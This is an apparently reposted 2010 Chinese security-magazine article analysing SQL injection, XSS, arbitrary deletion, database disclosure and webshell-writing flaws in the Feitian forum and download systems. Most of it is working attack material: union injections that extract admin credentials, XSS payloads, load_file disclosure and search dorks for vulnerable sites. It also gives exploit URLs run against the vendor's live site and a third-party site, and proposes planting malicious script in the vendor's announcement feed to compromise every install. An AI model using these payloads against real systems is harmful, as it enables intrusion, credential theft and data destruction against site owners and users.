飞天总动员--飞天论坛、飞天下载系统的ASP、PHP版最新漏洞分析

2010, March 19, 5:50 PM. 漏洞分析
Submitted by admin

文章作者:Cschii 摘自:黑防
[关键字]:飞天系统,注入,被动防注入,跨站,任意删除,暴库,写马
[技术要点]:文章对飞天论坛和下载两种系统的注入、跨站、任意删除、暴库、写马等漏洞的触发原理和利用方法做了详细分析和阐述,并对ftbbs官网做了检测,这些也从侧面证明了被动式防注入的缺陷,有兴趣的读者可以对照分析动易防注入语句,领悟其主动式防注入的优越,可以说“事半功倍”、“一劳永逸”(当然这只是相对而言)。文章同时介绍了一个Access现象:当Access的Sql语句中没有单引号时,表名称后的单引号可以用作注释符!在Access查询窗口测试时,请注意Sql语句最后不能换行!
[主要内容]:
    I、飞天论坛ASP版
    首先我们需要了解ftbbs防注入措施:1)在conn.asp中使用“request.servervariables("query_string")”过滤了单双引号、Sql关键字等,同时还过滤了“%”号——这是非常必要的!6.8版本就是因为没有过滤“%”导致防注入被绕过!2)对于Post变量使用Checkstr、CheckCharStr等函数过滤;3)对于Cookie变量使用getcookie函数过滤,限制clubuser_id、bz、bbsadmin、payuser、bokeer等变量为数字,其他变量过滤单引号、逗号、分号等。看起来ftbbs的过滤还是比较严密的,Request.QueryString、Request.Cookie方式注入基本被排除了,如果它对变量都做了这些过滤的话,也算是一套安全的系统,然而事实并非如此!尽管在conn.asp文件的52行有段注释“POST SQL注入”,但是飞天使用的防Post注入只是被动的,不像动易那样是主动的,即一旦因疏忽没有使用Checkstr函数过滤时将导致注入!所以我们的思路就是查找那些以POST方式获取且没有过滤的变量。
    一、request方式注入:以request方式获取变量时没有过滤导致注入。
    漏洞一、main.asp、bbspoll.asp、fbht.asp页面中的layer_1和layer_2变量导致注入。但是请注意这些变量涉及到多处语句,且返回的字段数不一致!

Code:

ASP将忽略Access的Sql语句错误继续向下执行,页面并不会被终止!
当Access的Sql语句中没有单引号时,表名之后的单引号被视为注释符号!比如:“select * from ft_ftbbs_admin 'kkkk”


    分析略,可以使用“飞天论坛最新漏洞利用工具”注入,“漏洞利用工具”附后。
     漏洞二、memberlist.asp会员列表页面,变量str_sort没有过滤导致注入,需要登陆。代码如下:

Code:

str_sort=request("order_key")
if str_sort="" then
str_sort="clubuser_id"
end if
…(略)
sql="select clubuser_id,clubuser_name,clubuser_sex,clubuser_enter_count,clubuser_reg_date,clubuser_lasttime,postnum,jingyuan from "&ft&"clubuser order by "&str_sort&" desc"        
//注入语句
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


    很明显的注入漏洞,关键是“Order by”中的注入,给出语句如下:

Code:

//测试语句,在Access查询中执行,最后的单引号用作注释符号
select clubuser_id,clubuser_name,clubuser_sex,clubuser_enter_count,clubuser_reg_date,clubuser_lasttime,postnum,jingyuan from ft_clubuser order by clubuser_id union select 1,2,3,4,5,6,7,8 from ft_ftbbs_admin' desc
//注入语句,从测试语句“order by”后获得注入语句,表名后的单引号作注释符号,当然也可以指定字段进行排序
clubuser_id union select 0,admin_user,admin_pwd,4,5,6,7,8 from ft_ftbbs_admin'


     需要注意的是利用此漏洞必须登录用户,然后再用当前窗口打开漏洞利用工具。
     漏洞三、mysms.asp短消息搜索页面的smtype变量没有过滤导致注入,需要登陆。代码如下:

Code:

if request("searchstr")<>"" or request("smtype")<>"" then
searchstr="and "&request("smtype")&" like '%"&Checkstr(request("searchstr"))&"%'"
// smtype变量没有过滤,导致注入
end if
if request("t")="my" then
sql="select * from "&ft&"sms where sender='"&username&"' "&searchstr&" and bbssystem=0 order by indate desc"
else
sql="select * from "&ft&"sms where (((bbssystem=2 or bbssystem=0) and accepter='"&username&"') or bbssystem=1) "&searchstr&" order by indate desc"
end if
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


   同样利用此漏洞必须登录用户,然后再用当前窗口打开漏洞利用工具。
    二、form方式注入:以form方式获取变量时没有过滤导致注入。
    漏洞一、blogsearch.1.asp页面存在注入,即框架结构首页上部的“文章搜索”,代码如下:

Code:

searchword=Checkstr(request.form("searchword"))
fieldstr=Checkstr(request.form("fieldstr"))                //过滤了单引号和逗号
sql="SELECT * FROM "&ft&"ftblog WHERE sign=0 and "&fieldstr&" like '%"&searchword&"%' order by id desc"                //作为字段名引入语句,无单引号
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
…(略)


    绕过逗号的方法,笔者曾多次提过,本文就不再重述,直接给出构造的union语句如下:

Code:

0 union select * from ((ft_ftbbs_admin a left join ft_ftbbs_admin b on a.admin_user=b.admin_user) left join ft_BBS_Poll c on c.id=a.id) union SELECT * FROM ft_ftblog where blogtitle
//凑字段数:21=6+6+9,ft_ftbbs_admin 字段数为6,ft_BBS_Poll字段数为9


    无需登陆,可以直接使用漏洞利用工具。
    漏洞二、recheck.asp回复帖子页面的remenu变量没有过滤导致注入,需要登陆。代码如下:

Code:

remenu=trim(request.form("remenu"))

'++++++++++++++++引用+++++++++++++++++++
if InStr(remenu,"[ftquote]")>0 then
        …(略)//类似“
Quote:

end if
if InStr(remenu,"[quote]")>0 then
        wz = InStr(remenu,"
") - (InStr(remenu,"
Quote:
")+7)        'id位数
        plkey = Mid(remenu,InStr(remenu,"[quote]")+7,wz)                        '求出引用ID关键字
        keyLY2=Mid(remenu,InStr(remenu,"[quote]"),7+8+InStr(remenu,"
") - (InStr(remenu,"
Quote:
")+7))                '求出欲替换的字符串
        set rs1=server.createobject("adodb.recordset")
        rs1.open "select top 1 * from "&ft&"bbsmenu where id="& plkey,conn,1,1
        //构造合适的plkey值触发注入!plkey值为“[quote]”与“
”之间的字符串
        if not rs1.eof then
        keyxx="<font color=#568AC2>引用回复: "& rs1("user_id")&"</font>" '" ["& left(rs1("ip"),InStrRev(rs1("ip"),".")) &"*" &"] :</font>"
        keyLY="<table width=99% border=0 align=center cellpadding=4 cellspacing=1 bgcolor=#999999><tr><td bgcolor=#ffffee>"& keyxx &"<br>"& rs1("remenu") &"</td></tr></table>"  '取出欲引用内容即替换后内容
        end if
        rs1.close
        set rs1=nothing
        remenu=Replace(remenu,keyLY2,keyLY)
end if
'+++++++++++++++++++++++++++++++++++++++


    可见只要我们在构造出合适的回复内容便可以触发注入漏洞了。
    回复注入。给出回复的内容如下,直接在帖子下方的回复内容处输入如上内容,回复后即可获得管理员密码!

Code:


Quote:
0 union select 1,2,3,4, admin_user,6,7, admin_pwd,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    图略,但是这样有些太明目张胆了,于是使用“<%%>”隐藏内容,于是将回复内容修改如下,其中“0x3c002500”Sql执行后返回为“<%”,“0x25003e00”为“%>”。

Code:


Quote:
0 union select 1,2,3,4,0x3c+admin_user+0x3e,6,7,'要显示出来的迷惑内容'+0x3c002500+admin_pwd+0x25003e00,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    回复跨站。Ftbbs在防跨站方面做得还很不够,仅过滤了“script”和“iframe”跨站标签,防跨站代码如下:

Code:

remenu = htmlencode2(remenu)
//定义在inc/htmlencode2.asp中,替换“<”为“<”,“>”为“>”等
remenu = fthtmlcode(remenu)
//定义在inc/ubbcode.asp中,注意是fthtmlCode并非fthtmlEncode,该函数又将“<”还原为“<”等!
remenu = ubbcode(remenu)
//将UBBCode格式还原为HTML格式
remenu = RegExReplace(remenu,"\b(script)\b"," $1 ")
remenu = RegExReplace(remenu,"\b(iframe)\b"," $1 ")
//在关键字“script”和“iframe”前后插入空格,使得这两个标签失效!


    不难看出关键字过滤较少,而跨站脚本实在是太灵活了,比如“<img src=javascript:alert("XSS")>”等。需要注意的是编辑器(fteditor/editor.js)会将“<”、“>”转为“<”和“>”,所以在“所见即所得模式”中不能直接使用,但是在“FTBBS代码模式”中却可以直接使用“<”、“>”。本文使用“
Quote:
”引用模式写入跨站脚本。回复如下内容:

Code:

[quote]0 union select 1,2,3,4,5,6,7,0x3c+'img src=javascript:alert("XSS!回复跨站!")'+0x3e,9,10,11,12,13,14,15,16,17,18,19,20 from ft_ftbbs_admin

 

    漏洞三、签名档跨站。文件moduseract.asp对于签名档变量signname仅仅用Checkstr函数做了防注入过滤,没有防跨站,可以直接输入跨站脚本(有长度150限制)。分析略,在“个人资料”中“签名档”栏输入脚本“<iframe src=http://www.baidu.com></iframe>”,如图17,于是在帖子该用户的签名档实现跨站!如图18。详细利用本文不作讨论。
     漏洞四、editpostact.asp文件的pid、reid、BoardID_1、BoardID_2等变量没有过滤,导致注入,需要登陆。
     注入。因为pid变量涉及多处语句构造union语句比较苛刻,所以仅限于手工注入,reid变量虽然可以注入,但是无法获得注出结果!另外编辑页面editpost.asp利用“or” 可以查看任意帖子内容。
移花接木。只要注册的用户名是多版主的版主名中的一部分,即可获取版主权限,编辑别人帖子!比如:

Code:

Ftbbs官网:
论坛首页>>FTBBS讨论 >> 安装指南 版主:ftbbs,网神:可以注册ftb、ftbb等
        论坛首页>>FTDMS讨论 >> BUG反 馈  版主:ftbbs,oo00oo:可以注册oo0等
        论坛首页>>站长交流 >> 源码发布  版主:ftbbs,zzzz,chinaymz,ftdms


    在官网注册“chinay”用户(版主名“chinaymz”的一部分),便可以编辑修改“源码发布”中的帖子了!
    三、任意删除:漏洞导致任意删除数据库表中内容和文件,高危!!
    漏洞一、pldelop.asp页面由于op、tp变量没有过滤,导致可以删除任意表中的内容!利用时需要登陆。代码如下:

Code:

op=Request.form("op")
tb=Request.form("tb")
…(略)
PiLiangZhuanZheng
Sub PiLiangZhuanZheng
select case op
case "选择删除"
        …(略)
        for i=1 to del_count
                id=request.form("checkbox1")(i)
        sql="delete from "&ft&tb&" where id="&id                //tb变量可以外部提交!
            conn.execute sql
        next
        …(略)
end select
End Sub


    由于tb可以外部提交,如果令id为“0 or 1”时,即可删除任意指定表中所有记录!比如管理员表ftbbs_admin,漏洞等级为高危!
    漏洞二、edit_photo.asp页面变量pic没有过滤导致可以删除任意文件。代码如下:

Code:

if request("act")="y" then
…(略)
  set upload=new Ftbbs_Class
…(略)
  pic=upload.form("pic")                //从表单获取pic变量
  inFolder=split(pic,"/")(0)                //取路径中第一级目录
  formPath=inFolder&"/"&userid
  if right(formPath,1)<>"/" then formPath=formPath&"/"
if upload.isErr then
        …(略)
else
    for each formName in upload.file '列出所有上传了的文件
           set oFile=upload.file(formname)
           …(略)
     '删除旧图片
     MypicFile = pic                        //直接返回从表单获取的pic变量,漏洞被触发
     DelFile MypicFile,fso        //删除文件
…(略)


    因为MypicFile变量是直接返回从表单获取的、没有经任何过滤的pic变量,如果将pic修改为要删除的文件名,那么将导致该文件被删除!详细利用方法参见文章。
    四、暴库与写马:漏洞导致可以下载页面文件,通过config.asp达到暴库目的,而且可以直接写马,秒杀ftbbs!
    漏洞一、暴库。此漏洞的危害是不言而喻的,暴数据库路径、获取表名前缀等,这使得我们的注入畅通无阻,随后将在“实测ftbbs官网”一节中进行示例。问题出在down.asp文件,绕过限制即可下载指定的文件,比如config.asp,达到暴库目的。

Code:

id=cint(request.QueryString("id"))        //使用了cint过滤,不存在漏洞
…(略)
sql="select top 1 upload_pic,clubuser_id,sale from "&ft&"ftbbs_upload where id="&id
set rs=conn.execute(sql)
uploadfile=rs("upload_pic")                //从upload_pic字段取出包含路径的文件名
FileName=split(uploadfile,"/")(1)        //返回文件名,正常情况下路径要求是一级目录
userid=rs("clubuser_id")
sale=int(rs("sale"))
if sale>0 then '出售附件
        …(略)
else
  if topqs=1 or clubuser_id=""&userid&"" or cookiesbz=1 or cookiesfbz=1 then
   down        
//只允许软件上传作者、版主、超级版主等下载,down函数利用ADODB.Stream组件下载文件,扩展名后加空格即可绕过下载类型的限制。
  else
        …(略)
  end if


    关键是如何控制ft_ftbbs_upload表的upload_pic字段值,只要我们能将想要下载的文件名写入该字段,随后的down函数会忠实地下载下载到该文件。至于后面的“只允许软件上传作者、版主、超级版主下载”和“down函数中限制下载ASP等类型”的限制不足为虑,我们修改自己上传的软件或者直接利用漏洞提升自己为版主、超级版主就可以通过第一个限制,扩展名后加空格等就可以通过第二个限制。
    详细利用参见文章。
    漏洞二、编辑帖子页面editpostact.asp写马。分析利用参见文章。
    漏洞三、后台写马。利用后台“论坛基本参数设置”设置“生成静态文件扩展名”为asp,但是正常情况下,ftbbs只提供了htm、html、shtml三种类型,这就需要我们外部提交asp类型。
    五、6.8版本的问题
    飞天论坛ASP版的6.8版本(下载地址http://www.ftbbs.cn/ftbbs_gbk_v6.8.rar)因为没有过滤“%”导致使用字符的URL编码形式绕过request.servervariables("query_string")防注入,使得ftbbs的安全防线全线崩溃。而且6.8在使用request.cookies获取Cookie时也没有过滤,导致userlogin函数存在注入等。
    由此可以得出6.8与7.x区别是:前者可以使用“%”的URL编码形式绕过防注入,down.asp文件使用Response.Redirect转向要下载的文件,而后者不能使用“%”绕过,down.asp文件利用ADODB.Stream组件下载文件。所以6.8版本反而没有7.x的暴库漏洞
    II、实测ftbbs官网
    网址http://www.ftbbs.cn/index.asp,框架结构。
    一、检测blogsearch.1.asp页面确认存在漏洞。
    二、暴库。
    注册并登陆用户,进入“个人空间”的“控制面板”,首先创建“MyPhoto”相册,然后打开“相册管理”的“网上传图”,接着在“相片URL”栏输入“coon.asp”,如图。
返回“相册管理”,获得该“图片”的id值,如“2454”,如图。
请求链接http://www.ftbbs.cn/down.asp?id=2454”下载到config.asp文件,最后还要记住删除掉该“图片”。
    直接下载数据库文件失败,数据库中好像已被写入了不正确的ASP代码,导致执行错误。但是我们暴出了ft变量,于是我们检测注入。
    三、检测其他注入、登陆后台、检测编辑页面写马漏洞等,参见原文章。
    四、“官方公告”挂马。利用ftbbs服务器这个“官方公告”功能来影响所有飞天论坛的后台!分析Admin/Admin_Index_Top.asp文件,熟悉的跨站网页插马代码!虽然我们不能修改用户ftbbs系统的Admin_Index_Top.asp文件,那么换个思路:既然我们掌控了ftbbs服务器,那么修改http://www.ftbbs.cn/bbs/ftbbsboard.asp”文件不就可以了。
于是当我们拿下ftbbs服务器后,可以在ftbbsboard.asp文件中植入恶意脚本,完成批量获取管理员Cookie、页面挂马、自动添加管理员、传播蠕虫病毒等攻击,这对于使用飞天论坛的管理员来说,简直是一种噩耗!现在很多系统都在用户页面增加了这种“官方公告”之类的功能,这固然能更好地与用户互动,但是一旦服务器被入侵拿下,无辜的用户将再次被推向灾难的风尖浪头!
    III、飞天论坛PHP版
    百度搜索特征页面“inurl: ftbbshome.php”、“inurl:main.php?layer_1”或“inurl: default_list.php”获得使用飞天论坛PHP版建站的网站。
    漏洞一、mysms.php页面数字型变量smtype没有过滤导致注入,代码如下:

Code:

$searchstr=ftbbs_request($_POST["searchstr"]);
$smtype=ftbbs_request($_POST["smtype"]);        //使用ftbbs_request函数转义引号等
$t=$_GET["t"];
if ($searchstr!="" || $smtype!=""){        
   $searchstr="and ".$smtype." like '%".$searchstr."%'";        //但是引入smtype时没有引号!
}
if ($t=="my"){
   $sql="select * from {$tablepre}sms where sender='".$username."' ".$searchstr." and bbssystem=0 order by indate desc";
}
else{
   $sql="select * from {$tablepre}sms where (((bbssystem=2 or bbssystem=0) and accepter='".$username."') or bbssystem=1) ".$searchstr." order by indate desc";
}

$p = new ft_page;
$rs=mysql_query($sql);
…(略)


    使用漏洞利用工具的“mysms.php”漏洞,注入语句与“mysms.asp”相同。
假如安装时修改了默认的表名时如何注入!这种情况对于Access数据库将无可奈何的,但是对于MySql数据库则不算问题,因为可以通过数据库information_schema的表SCHEMATA和TABLES猜解到所有数据库名和表名,语句如下:

Code:

//猜数据库
select SCHEMA_NAME from information_schema.SCHEMATA
//猜指定数据库中的所有表名,“0x6674646d73”即字符串“ftdms”
select TABLE_NAME from information_schema.Tables where TABLE_SCHEMA=0x6674646d73


    在漏洞利用工具的“mysms.php”漏洞中使用的完整注入语句如下:

Code:

//猜数据库,如图50
1 union select 1,2,SCHEMA_NAME,4,5,6,7,8,9,10  from information_schema.SCHEMATA limit 0,5 union select * from ft_sms where title
//猜数据库ftdms中的表名,如图51
1 union select 1,2,TABLE_NAME,4,5,6,7,8,9,10  from information_schema.TABLES where TABLE_SCHEMA=0x6674646d73 limit 0,5 union select * from ft_sms where title
//由于页面分页显示,所以使用“limit 0,5”从第0条开始显示5条记录,此语句可以正常执行,可见limit参数也是可以注入的!


利用load_file函数暴库。将上面注入语句的第3个字段换为load_file函数,比如“load_file('D:\\xampp\\htdocs\\ftbbs_php\\inc\\config.php')”,即可暴库,需要注意的是:load_file函数使用的是绝对路径,路径中的“\”必须使用转义符为“\\”。因为提交字符中的单引号会被转义,所以load_file函数中的文件名改为“0x”格式,首先在本地MySql命令行中使用“select hex('D:\\xampp\\htdocs\\ftbbs_php\\inc\\config.php')”语句获得“443A5C78616D70705C6874646F63735C66746262735F7068705C696E635C636F6E6669672E706870”,所以暴库语句如下:

Code:

1 union select 1,2,load_file(0x443A5C78616D70705C6874646F63735C66746262735F7068705C696E635C636F6E6669672E706870),4,5,6,7,8,9,10 union select * from ft_sms where title


    使用注入工具提交后,查看页面源码获得inc/config.php文件内容,如图52。需要注意当前MySql用户必须有使用load_file函数的file_priv权限,可以使用“select user, file_priv from mysql.user”语句获得MySql用户的file_priv权限情况。
    漏洞二、由于GetUserIP()函数使用HTTP_X_FORWARDED_FOR获取IP时没有过滤,导致注入、暴库、挂马。
    IV、飞天下载系统
    飞天下载ASP版与飞天论坛ASP 6.8版类似,文件conn.asp中的防注入缺少对“%”的过滤,可以绕过导致注入。以rss.asp页面为例,代码如下:

Code:

listid=request.QueryString("listid")
sortid=request.QueryString("sortid")
str=""
if listid<>"" and sortid="" then
str=" where Hide=0 and ListID="&listid        //数字型变量listid导致注入
elseif  listid<>"" and sortid<>"" then
str=" where Hide=0 and ListID="&listid&" and sortid="&sortid&""
end if
SQL = "Select top 20 * from "&dms&"soft "&str&" order by softupdate desc"
set rs=conn.execute(SQL)
…(略)


    构造union语句和注入链接如下:

Code:

//union注入语句,表名前缀默认为ftdmsue
0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from ftdmsue_admin
//利用URL链接如下,%73为s,%66为f
http://127.0.0.1/ftdms3.6/rss.asp?listid=0%20union%20%73elect%201,id,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin_pwd,18,admin_user,20,21,22,23,24,25,26,27%20%66rom%20ftdmsue_admin


    最后检测了chinaymz.com(中国源码站),这里需要注意飞天下载系统在验证后台登陆(admin/adminlogin.asp)时,使用的ft变量作为表名前缀,而其他表使用dms作前缀。所以注入链接如下:

Code:

http://www.chinaymz.com/rss.asp?listid=0%20union%20%73elect%201,id,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin_pwd,18,admin_user,20,21,22,23,24,25,26,27%20%66rom%20ftbsk_admin
//注意:表名前缀使用“ftbsk_”,而非“ftdsk_”!


部分内容及图片请读者详细参阅原文,本文提及的“漏洞利用工具”仅限于学习和测试使用。

Tags: 飞天, ftbbs

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):